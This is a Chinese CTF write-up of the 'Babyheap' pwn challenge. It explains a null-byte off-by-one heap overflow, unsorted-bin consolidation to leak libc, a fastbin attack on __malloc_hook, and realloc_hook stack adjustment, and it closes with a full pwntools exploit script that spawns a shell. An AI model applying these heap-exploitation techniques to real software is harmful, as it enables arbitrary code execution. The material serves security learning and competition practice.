Babyheap(null off by one)
本題用到的知識
malloc_hook、realloc_hook、fastbin attack、unsorted bin合併
首先,檢查一下程序的保護機制,保護全開
然後用IDA分析,發現在創建並讀入數據時,有一個null off by one漏洞
我們所能利用的也就是這個漏洞
第一步仍然是想辦法泄露一些關鍵地址
由於可以溢出一字節的0數據到下一個chunk,以前,我們閱讀glibc內存管理,知道了chunk空間的共用情況,也就是下一個的chunk的prev_size域給當前chunk當做數據域使用,這種情況只出現在malloc的大小爲8的奇數倍(32爲4的奇數倍)的情況。考慮到unsorted bin的表頭會有libc中的main_arena+88的地址,因此我們首先肯定得創建一些unsorted bin。
現在,假如我們創建了幾個堆
- #chunk0
- create(0x100,'a'*0x100)
- #chunk1
- create(0x100,'b'*0x100)
- #chunk2
- create(0x68,'c'*0x68)
- #chunk3
- create(0x68,'d'*0x68)
- #chunk4
- create(0x100,'e'*0x100)
堆佈局如下
域 |
大小 |
數據 |
所屬chunk |
Prev_size |
0x8 |
0 |
Chunk0 |
Size |
0x8 |
0x111 |
|
Data |
0x100 |
|
|
Prev_size |
0x8 |
0 |
Chunk1 |
Size |
0x8 |
0x111 |
|
Data |
0x100 |
|
|
Prev_size |
0x8 |
0 |
Chunk2 |
Size |
0x8 |
0x71 |
|
Data |
0x60 |
|
|
0x8 |
|
Chunk3 |
|
Size |
0x8 |
0x71 |
|
Data |
0x60 |
|
|
0x8 |
|
Chunk4 |
|
Size |
0x8 |
0x111 |
|
Data |
0x100 |
|
其中,chunk0、chunk1、chunk4大小在unsorted bin範圍,當他們free後就進入了unsorted bin,並且相鄰的chunk會進行unlink合併。既然能夠溢出一字節0數據,那麼假如我們從chunk3中溢出,覆蓋chunk4的size域的低一字節爲0,那麼就標誌了chunk4的前一chunk處於空閒狀態,那麼,當我們free chunk4的時候,chunk4就會與它的前一chunk合併,而它的前一chunk是如何取到的呢,看看glibc源碼
- /* Ptr to previous physical malloc_chunk. Only valid if !prev_inuse (P). */
- #define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
也就是依賴於prev_size,由於chunk3的大小爲0x68,是8的奇數倍,因此它會把chunk4的prev_size域作爲數據域,因此,prev_size我們可以自己指定大小
假如,我們在chunk3中,把chunk4的prev_size設置爲(0x110+0x110+0x70+0x70 = 0x300),然後覆蓋chunk4的size低1字節爲0,那麼,當我們delete(4)時,就會合並chunk4和chunk4-0x300處的chunk,也就是會合並chunk0、chunk1、chunk2、chunk3、chunk4
由於沒有編輯功能,我們只能delete(3)後再重新create分配到那個位置,同時構造payload溢出到chunk4
由於合併時,unlink會報錯,因此,我們在事先,應該delete(0),讓chunk0加入unsorted bin中。delete(2)用於將chunk2放入fastbin,供後續fastbin attack使用,注意,必需在合併chunk0、chunk1、chunk2、chunk3、chunk4之前讓chunk2加入fastbin,合併後再delete(2)不能讓chunk2加入到fastbin中
- #chunk2用於放入fastbin
- delete(2)
- #chunk3用於溢出
- delete(3)
- #chunk0用於加入unsorted bin,並且讓main_arena+88指針存入fd和bk
- delete(0)
- #把chunk3申請回來,並off by one null到chunk4,覆蓋chunk4的低1字節爲0
- payload = 'e'*0x60
- #prev_size
- payload += p64(0x300)
- create(0x68,payload)
現在堆的佈局是這樣子的
域 |
大小 |
數據 |
所屬chunk |
Prev_size |
0x8 |
0 |
Chunk0 |
Size |
0x8 |
0x111 |
|
fd |
0x8 |
Main_arena+88 |
|
bk |
0x8 |
Main_arena+88 |
|
data |
(0x100-0x8*2) |
|
|
Prev_size |
0x8 |
0x110 |
Chunk1 |
Size |
0x8 |
0x110 |
|
Data |
0x100 |
|
|
Prev_size |
0x8 |
0 |
Chunk2 |
Size |
0x8 |
0x71 |
|
Data |
0x60 |
|
|
Prev_size |
0x8 |
0x70 |
Chunk3 |
Size |
0x8 |
0x70 |
|
Data |
0x60 |
aaaaa…. |
|
Prev_size |
0x8 |
0x300 |
Chunk4 |
Size |
0x8 |
0x100 |
|
Data |
0x100 |
|
接下來,我們delete(4),chunk0~chunk4發生合併,合併後chunk0作爲unsorted bin表頭fd、bk值仍然指向main_arena+88
然而,當我們實際操作時,delete(4)時出現了報錯
我們看看glibc源碼
還記得chunk4的size被我們覆蓋成了0x100嗎,原本是0x111的,也就是說,現在取到的nextsize是chunk4數據域裏偏移0x90+8處的數據,而不是下一個chunk的size,
爲了避免後續的其他類似的錯誤,我們把chunk4留下的那(0x110-0x100=0x10的空間僞裝成一個chunk5)
所以,在一開始創建chunk4的應該應該這樣寫
- #chunk4的創建,後0x10空間用於僞裝出一個假chunk5
- create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))
現在,我們再查看堆的佈局情況(pwndbg attach 到pid上,然後輸入bin命令)
現在發現,fastbin裏的那個就是我們的chunk2,待會fastbin attack用到
而unsorted bin裏就一個節點(chunk0),中間那個是main_arena+88,它們組成了雙向鏈表
現在,假如我們create(0x100),那麼glibc就會從unsorted bin中的表頭(chunk0)處開始,切割出0x110的空間給我們,然後表頭變成了chunk0+0x110
並且chunk0+0x110處開始作爲一個chunk,它的fd和bk會被設置爲main_arena+88,
但是,你發現了什麼,chunk0 + 0x110不就是chunk1嗎,還記得chunk1並沒有被我們free,它只是參與了合併,因此它的指針存在於數組中,並沒有被清0
那麼,當我們show()的時候,就會把chunk1的fd值打印出來,從而泄露了main_arena+88的地址
由於main_arena+88和malloc_hook物理位置上在同一頁,並且靠的很近,因此,它們的地址只有後三位不一樣,那麼我們就能計算出malloc_hook的地址,然後就能計算出libc基地址,從而獲取gadget的地址
- #申請掉chunk0後,main_area+88指針放到了chunk1的fd和bk處
- create(0x100,'a'*0x100)
- show()
- sh.recvuntil('1 : ')
- main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))
- #低字節覆蓋獲得malloc_hook的地址
- malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)
- libc_base = malloc_hook_addr - malloc_s_hook
- realloc_addr = libc_base + realloc_s
- gadget_addr = libc_base + gadget
- print 'malloc_hook_addr=',hex(malloc_hook_addr)
- print 'realloc_addr=',hex(realloc_addr)
- print 'gadget_addr=',hex(gadget_addr)
現在一些需要的信息我們都得到了,我們接下來是想辦法把gadget的地址寫入到malloc_hook裏,這樣當程序再次malloc時,便會觸發gadget,從而get shell
現在我們用fastbin attack,fastbin attack能讓我們把堆申請到malloc_hook-0x23處,知道我們的chunk2爲什麼申請時設置爲0x68的大小嗎,因爲實際創建的大小是0x70,而malloc_hook-0x23處偏移0x8處的數據爲0x7F,與0x70大小相當
fastbin只檢查chunk的size域是否符合要求,因此,我們的chunk2的size要與它大小相當,這樣,我們想辦法把chunk2的fd指向malloc_hook-0x23這個假chunk處,這樣,chunk2和malloc_hook-0x23處構成了單向鏈表,當我們第二次申請0x68大小的堆時,就會申請到malloc_hook-0x23處,更多詳細知識見我的博客https://blog.csdn.net/seaaseesa/article/details/103057937
那麼如何才能修改到chunk2的fd域呢?
我們可以利用堆重疊
假如我們create(0x118,payload),由於之前已經create(0x100)過一次,那麼這次chunk分配的範圍就是chunk0 + 0x110 ~ chunk0+0x110+0x128也就是chunk1~chunk2+0x18處,正好可以把chunk2的fd給覆蓋了,如果覺得麻煩,直接申請大點,不用這麼精確
- #現在用fastbin attack
- #堆重疊,修改chunk2的fd指針
- payload = 'g'*0x100
- payload += p64(0) + p64(0x71)
- payload += p64(malloc_hook_addr-0x23)
- create(0x118,payload)
現在,我們再看看堆的佈局
malloc_hook-0x23處成功鏈入fastbin,那麼當我們第二次申請0x68大小空間時就能申請到這裏
- #第一次申請
- create(0x68,'h'*0x68)
- #修改malloc_hook
- payload = '\x00' * 0x13 + p64(gadget_addr)
- payload += '\n'
- #第二次申請
- create(0x68,payload)
這樣,看似已經可以了,我們只需再觸發一次malloc,即可getshell
- #觸發malloc_hook getshell
- sh.sendlineafter('Your choice :\n','1')
- sh.sendlineafter('Size:','1')'''
然而,gadget變得不可用,執行不成功
以下兩段來自看雪論壇https://bbs.pediy.com/thread-246786.htm
有些情況下one_gadget因爲棧環境原因全部都不可用,這時可以通過realloc_hook來調整堆棧環境使one_gadget可用。realloc函數在函數起始會檢查realloc_hook的值是否爲0,不爲0則跳轉至realloc_hook指向地址。realloc_hook同malloc_hook相鄰,故可通過fastbin attack一同修改兩個值。
如何利用realloc_hook來調整棧環境呢?
觀察realloc函數的流程push寄存器,最後全部pop出來跳轉至realloc_hook的值。
因此可以將realloc_hook設置爲選擇好的one_gadget,將malloc_hook設置爲realloc函數開頭某一push寄存器處。push和pop的次數是一致的,若push次數減少則會壓低堆棧,改變棧環境。這時one_gadget就會可以使用。具體要壓低棧多少要根據環境決定,這裏我們可以進行小於48字節內或72字節的堆棧調整。
經過測試,我們只需在realloc函數地址向下偏移2就可以使棧環境正常
於是,我們修改後的代碼
- #修改realloc_hook和malloc_hook
- payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)
- #用於堆棧調整
- payload += p64(realloc_addr + 2)
- payload += '\n'
- #第二次申請
- create(0x68,payload)
最終,我們寫出瞭如下的exp腳本
- #coding:utf8
- from pwn import *
- from one_gadget import *
- context.log_level = 'debug'
- sh = process('./timu')
- #sh = remote('111.198.29.45',57745)
- libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
- libc = ELF(libc_path)
- #malloc_hook的靜態地址
- malloc_s_hook = libc.symbols['__malloc_hook']
- #realloc函數的靜態地址
- realloc_s = libc.sym['realloc']
- #gadger
- g = generate_one_gadget(libc_path)
- gadget = g.next()
- #sh = remote('111.198.29.45',41803)
- def create(size,content):
- sh.sendlineafter('Your choice :\n','1')
- sh.sendlineafter('Size:',str(size))
- sh.sendafter('Data:',content)
- def delete(index):
- sh.sendlineafter('Your choice :\n','2')
- sh.sendlineafter('Index:',str(index))
- def show():
- sh.sendlineafter('Your choice :\n','3')
- #chunk0
- create(0x100,'a'*0x100)
- #chunk1
- create(0x100,'b'*0x100)
- #chunk2
- create(0x68,'c'*0x68)
- #chunk3
- create(0x68,'d'*0x68)
- #chunk4
- #特別!!chunk4後面0x10空間用於僞裝假chunk5
- create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))
- #chunk2用於放入fastbin
- delete(2)
- #chunk3用於溢出
- delete(3)
- #chunk0用於加入unsorted bin,並且讓main_arena+88指針存入fd和bk
- delete(0)
- #把chunk3申請回來,並off by one null到chunk4,覆蓋chunk4的低1字節爲0
- payload = 'e'*0x60
- #prev_size
- payload += p64(0x300)
- create(0x68,payload)
- #0、1、2、3、4堆塊合併
- delete(4)
- #申請掉chunk0後,main_area+88指針放到了chunk1的fd和bk處
- create(0x100,'a'*0x100)
- show()
- sh.recvuntil('1 : ')
- main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))
- #低字節替換獲得malloc_hook的地址
- malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)
- libc_base = malloc_hook_addr - malloc_s_hook
- realloc_addr = libc_base + realloc_s
- gadget_addr = libc_base + gadget
- print 'malloc_hook_addr=',hex(malloc_hook_addr)
- print 'realloc_addr=',hex(realloc_addr)
- print 'gadget_addr=',hex(gadget_addr)
- #現在用fastbin attack
- #堆重疊,修改chunk2的fd指針
- payload = 'g'*0x100
- payload += p64(0) + p64(0x71)
- payload += p64(malloc_hook_addr-0x23)
- create(0x118,payload)
- #第一次申請
- create(0x68,'h'*0x68)
- #修改realloc_hook和malloc_hook
- payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)
- #用於堆棧調整
- payload += p64(realloc_addr + 2)
- payload += '\n'
- #第二次申請
- create(0x68,payload)
- #觸發malloc_hook getshell
- sh.sendlineafter('Your choice :\n','1')
- sh.sendlineafter('Size:','1')
- sh.interactive()